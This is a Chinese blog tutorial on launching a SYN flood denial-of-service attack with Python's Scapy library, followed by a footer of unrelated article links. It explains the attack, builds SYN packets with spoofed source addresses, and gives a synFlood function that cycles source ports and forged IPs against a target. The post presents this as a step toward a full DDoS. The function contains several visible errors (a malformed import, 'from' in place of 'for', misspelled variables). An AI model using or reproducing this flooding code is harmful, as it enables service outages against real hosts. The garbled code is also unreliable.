Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中的闭包详细介绍和实例
Nov 21 Python
解析Python中的异常处理
Apr 28 Python
python通过post提交数据的方法
May 06 Python
为Python的Tornado框架配置使用Jinja2模板引擎的方法
Jun 30 Python
python获取网页中所有图片并筛选指定分辨率的方法
Mar 31 Python
Python设计模式之装饰模式实例详解
Jan 21 Python
解决yum对python依赖版本问题
Jul 05 Python
django之状态保持-使用redis存储session的例子
Jul 28 Python
windows10 pycharm下安装pyltp库和加载模型实现语义角色标注的示例代码
May 07 Python
Django Path转换器自定义及正则代码实例
May 29 Python
keras 解决加载lstm+crf模型出错的问题
Jun 10 Python
Python reversed反转序列并生成可迭代对象
Oct 22 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
mysql数据库差异比较的PHP代码
2012/02/05 PHP
巧用php中的array_filter()函数去掉多维空值的代码分享
2012/09/07 PHP
CI(CodeIgniter)框架介绍
2014/06/09 PHP
php中ob_get_length缓冲与获取缓冲长度实例
2014/11/20 PHP
PHP翻页跳转功能实现方法
2020/11/30 PHP
PHP闭包函数详解
2016/02/13 PHP
Yii2实现中国省市区三级联动实例
2017/02/08 PHP
yii2 commands模式以及配置crontab定时任务的方法
2017/08/19 PHP
PHP后台实现微信小程序登录
2018/08/03 PHP
鼠标移动到一张图片时变为另一张图片
2006/12/05 Javascript
window.open打开页面居中显示的示例代码
2013/12/27 Javascript
Angular中的$watch、$watchGroup、$watchCollection
2017/06/25 Javascript
node.js中使用Export和Import的方法
2017/09/18 Javascript
微信小程序报错:this.setData is not a function的解决办法
2017/09/27 Javascript
在 Typescript 中使用可被复用的 Vue Mixin功能
2018/04/17 Javascript
Angular6笔记之封装http的示例代码
2018/07/27 Javascript
vue实现form表单与table表格的数据关联功能示例
2019/01/29 Javascript
js页面加载后执行的几种方式小结
2020/01/30 Javascript
[00:53]2015国际邀请赛 中国区预选赛一触即发
2015/05/14 DOTA
[02:50]【扭转乾坤,只此一招】DOTA2全新版本永雾林渊开启新篇章
2020/12/24 DOTA
windows下cx_Freeze生成Python可执行程序的详细步骤
2018/10/09 Python
使用Template格式化Python字符串的方法
2019/01/22 Python
python中的RSA加密与解密实例解析
2019/11/18 Python
pytorch中tensor.expand()和tensor.expand_as()函数详解
2019/12/27 Python
面向新手解析python Beautiful Soup基本用法
2020/07/11 Python
详解KMP算法以及python如何实现
2020/09/18 Python
英国床垫在线:Mattress Online
2016/12/07 全球购物
世界各地的当地人的食物体验:Eatwith
2019/07/26 全球购物
路德维希•贝克(LUDWIG BECK)中文官网:德国大型美妆百货
2020/09/19 全球购物
介绍下WebSphere的安全性
2013/01/31 面试题
2015年财务试用期工作总结
2014/12/24 职场文书
写给女朋友的保证书
2015/05/09 职场文书
2015年公司后勤管理工作总结
2015/05/13 职场文书
初三毕业感言
2015/07/31 职场文书
2019单位介绍信怎么写
2019/06/24 职场文书
JavaScript ES6的函数拓展
2022/01/18 Javascript